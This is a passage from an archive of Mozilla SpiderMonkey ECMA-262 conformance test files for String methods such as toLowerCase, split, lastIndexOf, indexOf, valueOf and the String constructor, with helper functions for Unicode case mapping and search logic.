the toLowerCase function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.5.4.11-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.toLowerCase()"; writeHeaderToLog( SECTION + " "+ TITLE); // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF for ( var i = 0xFF00; i <= 0xFFEF; i++ ) { var U = new Unicode(i); /* new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()", String.fromCharCode(U.lower), eval("var s = new String( String.fromCharCode("+i+") ); s.toLowerCase()") ); */ new TestCase( SECTION, "var s = new String( String.fromCharCode("+i+") ); s.toLowerCase().charCodeAt(0)", U.lower, eval("var s = new String( String.fromCharCode(i) ); s.toLowerCase().charCodeAt(0)") ); } test(); function MyObject( value ) { this.value = value; this.substring = String.prototype.substring; this.toString = new Function ( "return this.value+''" ); } function Unicode( c ) { u = GetUnicodeValues( c ); this.upper = u[0]; this.lower = u[1] return this; } function GetUnicodeValues( c ) { u = new Array(); u[0] = c; u[1] = c; // upper case Basic Latin if ( c >= 0x0041 && c <= 0x005A) { u[0] = c; u[1] = c + 32; return u; } // lower case Basic Latin if ( c >= 0x0061 && c <= 0x007a ) { u[0] = c - 32; u[1] = c; return u; } // upper case Latin-1 Supplement if ( (c >= 0x00C0 && c <= 0x00D6) || (c >= 0x00D8 && c<=0x00DE) ) { u[0] = c; u[1] = c + 32; return u; } // lower case Latin-1 Supplement if ( (c >= 0x00E0 && c <= 0x00F6) || (c >= 0x00F8 && c <= 0x00FE) ) { u[0] = c - 32; u[1] = c; return u; } if ( c == 0x00FF ) { u[0] = 0x0178; u[1] = c; return u; } // Latin Extended A if ( (c >= 0x0100 && c < 0x0138) || (c > 0x0149 && c < 0x0178) ) { // special case for capital I if ( c == 0x0130 ) { u[0] = c; u[1] = 0x0069; return u; } if ( c == 0x0131 ) { u[0] = 0x0049; u[1] = c; return u; } if ( c % 2 == 0 ) { // if it's even, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's odd, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x0178 ) { u[0] = c; u[1] = 0x00FF; return u; } if ( (c >= 0x0139 && c < 0x0149) || (c > 0x0178 && c < 0x017F) ) { if ( c % 2 == 1 ) { // if it's odd, it's a capital and the lower case is c +1 u[0] = c; u[1] = c+1; } else { // if it's even, it's a lower case and upper case is c-1 u[0] = c-1; u[1] = c; } return u; } if ( c == 0x017F ) { u[0] = 0x0053; u[1] = c; } // Latin Extended B // need to improve this set if ( c >= 0x0200 && c <= 0x0217 ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c+1; } else { u[0] = c-1; u[1] = c; } return u; } // Latin Extended Additional // Range: U+1E00 to U+1EFF // http://www.unicode.org/Unicode.charts/glyphless/U1E00.html // Spacing Modifier Leters // Range: U+02B0 to U+02FF // Combining Diacritical Marks // Range: U+0300 to U+036F // skip Greek for now // Greek // Range: U+0370 to U+03FF // Cyrillic // Range: U+0400 to U+04FF if ( (c >= 0x0401 && c <= 0x040C) || ( c>= 0x040E && c <= 0x040F ) ) { u[0] = c; u[1] = c + 80; return u; } if ( c >= 0x0410 && c <= 0x042F ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0x0430 && c<= 0x044F ) { u[0] = c - 32; u[1] = c; return u; } if ( (c >= 0x0451 && c <= 0x045C) || (c >=0x045E && c<= 0x045F) ) { u[0] = c -80; u[1] = c; return u; } if ( c >= 0x0460 && c <= 0x047F ) { if ( c % 2 == 0 ) { u[0] = c; u[1] = c +1; } else { u[0] = c - 1; u[1] = c; } return u; } // Armenian // Range: U+0530 to U+058F if ( c >= 0x0531 && c <= 0x0556 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x0561 && c < 0x0587 ) { u[0] = c - 48; u[1] = c; return u; } // Hebrew // Range: U+0590 to U+05FF // Arabic // Range: U+0600 to U+06FF // Devanagari // Range: U+0900 to U+097F // Bengali // Range: U+0980 to U+09FF // Gurmukhi // Range: U+0A00 to U+0A7F // Gujarati // Range: U+0A80 to U+0AFF // Oriya // Range: U+0B00 to U+0B7F // no capital / lower case // Tamil // Range: U+0B80 to U+0BFF // no capital / lower case // Telugu // Range: U+0C00 to U+0C7F // no capital / lower case // Kannada // Range: U+0C80 to U+0CFF // no capital / lower case // Malayalam // Range: U+0D00 to U+0D7F // Thai // Range: U+0E00 to U+0E7F // Lao // Range: U+0E80 to U+0EFF // Tibetan // Range: U+0F00 to U+0FBF // Georgian // Range: U+10A0 to U+10F0 if ( c >= 0x10A0 && c <= 0x10C5 ) { u[0] = c; u[1] = c + 48; return u; } if ( c >= 0x10D0 && c <= 0x10F5 ) { u[0] = c; u[1] = c; return u; } // Hangul Jamo // Range: U+1100 to U+11FF // Greek Extended // Range: U+1F00 to U+1FFF // skip for now // General Punctuation // Range: U+2000 to U+206F // Superscripts and Subscripts // Range: U+2070 to U+209F // Currency Symbols // Range: U+20A0 to U+20CF // Combining Diacritical Marks for Symbols // Range: U+20D0 to U+20FF // skip for now // Number Forms // Range: U+2150 to U+218F // skip for now // Arrows // Range: U+2190 to U+21FF // Mathematical Operators // Range: U+2200 to U+22FF // Miscellaneous Technical // Range: U+2300 to U+23FF // Control Pictures // Range: U+2400 to U+243F // Optical Character Recognition // Range: U+2440 to U+245F // Enclosed Alphanumerics // Range: U+2460 to U+24FF // Box Drawing // Range: U+2500 to U+257F // Block Elements // Range: U+2580 to U+259F // Geometric Shapes // Range: U+25A0 to U+25FF // Miscellaneous Symbols // Range: U+2600 to U+26FF // Dingbats // Range: U+2700 to U+27BF // CJK Symbols and Punctuation // Range: U+3000 to U+303F // Hiragana // Range: U+3040 to U+309F // Katakana // Range: U+30A0 to U+30FF // Bopomofo // Range: U+3100 to U+312F // Hangul Compatibility Jamo // Range: U+3130 to U+318F // Kanbun // Range: U+3190 to U+319F // Enclosed CJK Letters and Months // Range: U+3200 to U+32FF // CJK Compatibility // Range: U+3300 to U+33FF // Hangul Syllables // Range: U+AC00 to U+D7A3 // High Surrogates // Range: U+D800 to U+DB7F // Private Use High Surrogates // Range: U+DB80 to U+DBFF // Low Surrogates // Range: U+DC00 to U+DFFF // Private Use Area // Range: U+E000 to U+F8FF // CJK Compatibility Ideographs // Range: U+F900 to U+FAFF // Alphabetic Presentation Forms // Range: U+FB00 to U+FB4F // Arabic Presentation Forms-A // Range: U+FB50 to U+FDFF // Combining Half Marks // Range: U+FE20 to U+FE2F // CJK Compatibility Forms // Range: U+FE30 to U+FE4F // Small Form Variants // Range: U+FE50 to U+FE6F // Arabic Presentation Forms-B // Range: U+FE70 to U+FEFF // Halfwidth and Fullwidth Forms // Range: U+FF00 to U+FFEF if ( c >= 0xFF21 && c <= 0xFF3A ) { u[0] = c; u[1] = c + 32; return u; } if ( c >= 0xFF41 && c <= 0xFF5A ) { u[0] = c - 32; u[1] = c; return u; } // Specials // Range: U+FFF0 to U+FFFF return u; } function DecimalToHexString( n ) { n = Number( n ); var h = "0x"; for ( var i = 3; i >= 0; i-- ) { if ( n >= Math.pow(16, i) ){ var t = Math.floor( n / Math.pow(16, i)); n -= t * Math.pow(16, i); if ( t >= 10 ) { if ( t == 10 ) { h += "A"; } if ( t == 11 ) { h += "B"; } if ( t == 12 ) { h += "C"; } if ( t == 13 ) { h += "D"; } if ( t == 14 ) { h += "E"; } if ( t == 15 ) { h += "F"; } } else { h += String( t ); } } else { h += "0"; } } return h; } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.8-1.js0000664000175000017500000002152412106270663020721 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.8-1.js ECMA Section: 15.5.4.8 String.prototype.split( separator ) Description: Returns an Array object into which substrings of the result of converting this object to a string have been stored. The substrings are determined by searching from left to right for occurrences of the given separator; these occurrences are not part of any substring in the returned array, but serve to divide up this string value. The separator may be a string of any length. As a special case, if the separator is the empty string, the string is split up into individual characters; the length of the result array equals the length of the string, and each substring contains one character. If the separator is not supplied, then the result array contains just one string, which is the string. Author: christine@netscape.com, pschwartau@netscape.com Date: 12 November 1997 Modified: 14 July 2002 Reason: See http://bugzilla.mozilla.org/show_bug.cgi?id=155289 ECMA-262 Ed.3 Section 15.5.4.14 The length property of the split method is 2 * */ var SECTION = "15.5.4.8-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.split"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "String.prototype.split.length", 2, String.prototype.split.length ); new TestCase( SECTION, "delete String.prototype.split.length", false, delete String.prototype.split.length ); new TestCase( SECTION, "delete String.prototype.split.length; String.prototype.split.length", 2, eval("delete String.prototype.split.length; String.prototype.split.length") ); // test cases for when split is called with no arguments. // this is a string object new TestCase( SECTION, "var s = new String('this is a string object'); typeof s.split()", "object", eval("var s = new String('this is a string object'); typeof s.split()") ); new TestCase( SECTION, "var s = new String('this is a string object'); Array.prototype.getClass = Object.prototype.toString; (s.split()).getClass()", "[object Array]", eval("var s = new String('this is a string object'); Array.prototype.getClass = Object.prototype.toString; (s.split()).getClass()") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.split().length", 1, eval("var s = new String('this is a string object'); s.split().length") ); new TestCase( SECTION, "var s = new String('this is a string object'); s.split()[0]", "this is a string object", eval("var s = new String('this is a string object'); s.split()[0]") ); // this is an object object new TestCase( SECTION, "var obj = new Object(); obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = new Object(); obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = new Object(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = new Object(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = new Object(); obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = new Object(); obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = new Object(); obj.split = String.prototype.split; obj.split()[0]", "[object Object]", eval("var obj = new Object(); obj.split = String.prototype.split; obj.split()[0]") ); // this is a function object new TestCase( SECTION, "var obj = new Function(); obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = new Function(); obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = new Function(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = new Function(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = new Function(); obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = new Function(); obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = new Function(); obj.split = String.prototype.split; obj.toString = Object.prototype.toString; obj.split()[0]", "[object Function]", eval("var obj = new Function(); obj.split = String.prototype.split; obj.toString = Object.prototype.toString; obj.split()[0]") ); // this is a number object new TestCase( SECTION, "var obj = new Number(NaN); obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = new Number(NaN); obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = new Number(Infinity); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = new Number(Infinity); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = new Number(-1234567890); obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = new Number(-1234567890); obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = new Number(-1e21); obj.split = String.prototype.split; obj.split()[0]", "-1e+21", eval("var obj = new Number(-1e21); obj.split = String.prototype.split; obj.split()[0]") ); // this is the Math object new TestCase( SECTION, "var obj = Math; obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = Math; obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = Math; obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = Math; obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = Math; obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = Math; obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = Math; obj.split = String.prototype.split; obj.split()[0]", "[object Math]", eval("var obj = Math; obj.split = String.prototype.split; obj.split()[0]") ); // this is an array object new TestCase( SECTION, "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split()[0]", "1,2,3,4,5", eval("var obj = new Array(1,2,3,4,5); obj.split = String.prototype.split; obj.split()[0]") ); // this is a Boolean object new TestCase( SECTION, "var obj = new Boolean(); obj.split = String.prototype.split; typeof obj.split()", "object", eval("var obj = new Boolean(); obj.split = String.prototype.split; typeof obj.split()") ); new TestCase( SECTION, "var obj = new Boolean(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.getClass()", "[object Array]", eval("var obj = new Boolean(); obj.split = String.prototype.split; Array.prototype.getClass = Object.prototype.toString; obj.split().getClass()") ); new TestCase( SECTION, "var obj = new Boolean(); obj.split = String.prototype.split; obj.split().length", 1, eval("var obj = new Boolean(); obj.split = String.prototype.split; obj.split().length") ); new TestCase( SECTION, "var obj = new Boolean(); obj.split = String.prototype.split; obj.split()[0]", "false", eval("var obj = new Boolean(); obj.split = String.prototype.split; obj.split()[0]") ); test(); mozjs17.0.0/js/src/tests/ecma/String/shell.js0000664000175000017500000000000012106270663020754 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/String/15.5.2.js0000664000175000017500000001405112106270663020410 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.2.js ECMA Section: 15.5.2 The String Constructor 15.5.2.1 new String(value) 15.5.2.2 new String() Description: When String is called as part of a new expression, it is a constructor; it initializes the newly constructed object. - The prototype property of the newly constructed object is set to the original String prototype object, the one that is the intial value of String.prototype - The internal [[Class]] property of the object is "String" - The value of the object is ToString(value). - If no value is specified, its value is the empty string. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The String Constructor"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof new String('string primitive')", "object", typeof new String('string primitive') ); new TestCase( SECTION, "var TESTSTRING = new String('string primitive'); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String('string primitive'); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String('string primitive')).valueOf()", 'string primitive', (new String('string primitive')).valueOf() ); new TestCase( SECTION, "(new String('string primitive')).substring", String.prototype.substring, (new String('string primitive')).substring ); new TestCase( SECTION, "typeof new String(void 0)", "object", typeof new String(void 0) ); new TestCase( SECTION, "var TESTSTRING = new String(void 0); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(void 0); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String(void 0)).valueOf()", "undefined", (new String(void 0)).valueOf() ); new TestCase( SECTION, "(new String(void 0)).toString", String.prototype.toString, (new String(void 0)).toString ); new TestCase( SECTION, "typeof new String(null)", "object", typeof new String(null) ); new TestCase( SECTION, "var TESTSTRING = new String(null); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(null); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String(null)).valueOf()", "null", (new String(null)).valueOf() ); new TestCase( SECTION, "(new String(null)).valueOf", String.prototype.valueOf, (new String(null)).valueOf ); new TestCase( SECTION, "typeof new String(true)", "object", typeof new String(true) ); new TestCase( SECTION, "var TESTSTRING = new String(true); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(true); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String(true)).valueOf()", "true", (new String(true)).valueOf() ); new TestCase( SECTION, "(new String(true)).charAt", String.prototype.charAt, (new String(true)).charAt ); new TestCase( SECTION, "typeof new String(false)", "object", typeof new String(false) ); new TestCase( SECTION, "var TESTSTRING = new String(false); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(false); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String(false)).valueOf()", "false", (new String(false)).valueOf() ); new TestCase( SECTION, "(new String(false)).charCodeAt", String.prototype.charCodeAt, (new String(false)).charCodeAt ); new TestCase( SECTION, "typeof new String(new Boolean(true))", "object", typeof new String(new Boolean(true)) ); new TestCase( SECTION, "var TESTSTRING = new String(new Boolean(true)); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(new Boolean(true)); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String(new Boolean(true))).valueOf()", "true", (new String(new Boolean(true))).valueOf() ); new TestCase( SECTION, "(new String(new Boolean(true))).indexOf", String.prototype.indexOf, (new String(new Boolean(true))).indexOf ); new TestCase( SECTION, "typeof new String()", "object", typeof new String() ); new TestCase( SECTION, "var TESTSTRING = new String(); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String()).valueOf()", '', (new String()).valueOf() ); new TestCase( SECTION, "(new String()).lastIndexOf", String.prototype.lastIndexOf, (new String()).lastIndexOf ); new TestCase( SECTION, "typeof new String('')", "object", typeof new String('') ); new TestCase( SECTION, "var TESTSTRING = new String(''); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(''); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") ); new TestCase( SECTION, "(new String('')).valueOf()", '', (new String('')).valueOf() ); new TestCase( SECTION, "(new String('')).split", String.prototype.split, (new String('')).split ); test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.7-1.js0000664000175000017500000001376312106270663020726 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.7-1.js ECMA Section: 15.5.4.7 String.prototype.lastIndexOf( searchString, pos) Description: If the given searchString appears as a substring of the result of converting this object to a string, at one or more positions that are at or to the left of the specified position, then the index of the rightmost such position is returned; otherwise -1 is returned. If position is undefined or not supplied, the length of this string value is assumed, so as to search all of the string. When the lastIndexOf method is called with two arguments searchString and position, the following steps are taken: 1.Call ToString, giving it the this value as its argument. 2.Call ToString(searchString). 3.Call ToNumber(position). (If position is undefined or not supplied, this step produces the value NaN). 4.If Result(3) is NaN, use +; otherwise, call ToInteger(Result(3)). 5.Compute the number of characters in Result(1). 6.Compute min(max(Result(4), 0), Result(5)). 7.Compute the number of characters in the string that is Result(2). 8.Compute the largest possible integer k not larger than Result(6) such that k+Result(7) is not greater than Result(5), and for all nonnegative integers j less than Result(7), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then compute the value -1. 1.Return Result(8). Note that the lastIndexOf function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.7-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.protoype.lastIndexOf"; var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); writeHeaderToLog( SECTION + " "+ TITLE); var j = 0; for ( k = 0, i = 0x0021; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf(" +String.fromCharCode(i)+ ", 0)", -1, TEST_STRING.lastIndexOf( String.fromCharCode(i), 0 ) ); } for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+String.fromCharCode(i)+ ", "+ k +")", k, TEST_STRING.lastIndexOf( String.fromCharCode(i), k ) ); } for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+String.fromCharCode(i)+ ", "+k+1+")", k, TEST_STRING.lastIndexOf( String.fromCharCode(i), k+1 ) ); } for ( k = 9, i = 0x0021; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ 0 + ")", LastIndexOf( TEST_STRING, String.fromCharCode(i) + String.fromCharCode(i+1)+String.fromCharCode(i+2), 0), TEST_STRING.lastIndexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), 0 ) ); } for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ k +")", k, TEST_STRING.lastIndexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), k ) ); } for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ k+1 +")", k, TEST_STRING.lastIndexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), k+1 ) ); } for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.lastIndexOf("+ (String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+ (k-1) +")", LastIndexOf( TEST_STRING, String.fromCharCode(i) + String.fromCharCode(i+1)+String.fromCharCode(i+2), k-1), TEST_STRING.lastIndexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), k-1 ) ); } new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ", 0 )", 0, TEST_STRING.lastIndexOf( TEST_STRING, 0 ) ); // new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ", 1 )", 0, TEST_STRING.lastIndexOf( TEST_STRING, 1 )); new TestCase( SECTION, "String.lastIndexOf(" +TEST_STRING + ")", 0, TEST_STRING.lastIndexOf( TEST_STRING )); print( "TEST_STRING = new String(\" !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\")" ); test(); function LastIndexOf( string, search, position ) { string = String( string ); search = String( search ); position = Number( position ) if ( isNaN( position ) ) { position = Infinity; } else { position = ToInteger( position ); } result5= string.length; result6 = Math.min(Math.max(position, 0), result5); result7 = search.length; if (result7 == 0) { return Math.min(position, result5); } result8 = -1; for ( k = 0; k <= result6; k++ ) { if ( k+ result7 > result5 ) { break; } for ( j = 0; j < result7; j++ ) { if ( string.charAt(k+j) != search.charAt(j) ){ break; } else { if ( j == result7 -1 ) { result8 = k; } } } } return result8; } function ToInteger( n ) { n = Number( n ); if ( isNaN(n) ) { return 0; } if ( Math.abs(n) == 0 || Math.abs(n) == Infinity ) { return n; } var sign = ( n < 0 ) ? -1 : 1; return ( sign * Math.floor(Math.abs(n)) ); } mozjs17.0.0/js/src/tests/ecma/String/15.5.4.3-2.js0000664000175000017500000000426712106270663020722 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.3-2.js ECMA Section: 15.5.4.3 String.prototype.valueOf() Description: Returns this string value. The valueOf function is not generic; it generates a runtime error if its this value is not a String object. Therefore it connot be transferred to the other kinds of objects for use as a method. Author: christine@netscape.com Date: 1 october 1997 */ var SECTION = "15.5.4.3-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.prototype.valueOf"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new String(); astring.valueOf = valof; astring.valof()", "", eval("var valof=String.prototype.valueOf; astring=new String(); astring.valueOf = valof; astring.valueOf()") ); new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new String(0); astring.valueOf = valof; astring.valof()", "0", eval("var valof=String.prototype.valueOf; astring=new String(0); astring.valueOf = valof; astring.valueOf()") ); new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new String('hello'); astring.valueOf = valof; astring.valof()", "hello", eval("var valof=String.prototype.valueOf; astring=new String('hello'); astring.valueOf = valof; astring.valueOf()") ); new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new String(''); astring.valueOf = valof; astring.valof()", "", eval("var valof=String.prototype.valueOf; astring=new String(''); astring.valueOf = valof; astring.valueOf()") ); /* new TestCase( SECTION, "var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valof()", "error", eval("var valof=String.prototype.valueOf; astring=new Number(); astring.valueOf = valof; astring.valueOf()") ); */ test(); mozjs17.0.0/js/src/tests/ecma/String/15.5.4.6-1.js0000664000175000017500000001033112106270663020711 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.5.4.6-1.js ECMA Section: 15.5.4.6 String.prototype.indexOf( searchString, pos) Description: If the given searchString appears as a substring of the result of converting this object to a string, at one or more positions that are at or to the right of the specified position, then the index of the leftmost such position is returned; otherwise -1 is returned. If positionis undefined or not supplied, 0 is assumed, so as to search all of the string. When the indexOf method is called with two arguments, searchString and pos, the following steps are taken: 1. Call ToString, giving it the this value as its argument. 2. Call ToString(searchString). 3. Call ToInteger(position). (If position is undefined or not supplied, this step produces the value 0). 4. Compute the number of characters in Result(1). 5. Compute min(max(Result(3), 0), Result(4)). 6. Compute the number of characters in the string that is Result(2). 7. Compute the smallest possible integer k not smaller than Result(5) such that k+Result(6) is not greater than Result(4), and for all nonnegative integers j less than Result(6), the character at position k+j of Result(1) is the same as the character at position j of Result(2); but if there is no such integer k, then compute the value -1. 8. Return Result(7). Note that the indexOf function is intentionally generic; it does not require that its this value be a String object. Therefore it can be transferred to other kinds of objects for use as a method. Author: christine@netscape.com Date: 2 october 1997 */ var SECTION = "15.5.4.6-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "String.protoype.indexOf"; var TEST_STRING = new String( " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~" ); writeHeaderToLog( SECTION + " "+ TITLE); var j = 0; for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf(" +String.fromCharCode(i)+ ", 0)", k, TEST_STRING.indexOf( String.fromCharCode(i), 0 ) ); } for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf("+String.fromCharCode(i)+ ", "+ k +")", k, TEST_STRING.indexOf( String.fromCharCode(i), k ) ); } for ( k = 0, i = 0x0020; i < 0x007e; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf("+String.fromCharCode(i)+ ", "+k+1+")", -1, TEST_STRING.indexOf( String.fromCharCode(i), k+1 ) ); } for ( k = 0, i = 0x0020; i < 0x007d; i++, j++, k++ ) { new TestCase( SECTION, "String.indexOf("+(String.fromCharCode(i) + String.fromCharCode(i+1)+ String.fromCharCode(i+2)) +", "+0+")", k, TEST_STRING.indexOf( (String.fromCharCode(i)+ String.fromCharCode(i+1)+ String.fromCharCode(i+2)), 0 ) ); } for ( k = 0, i = 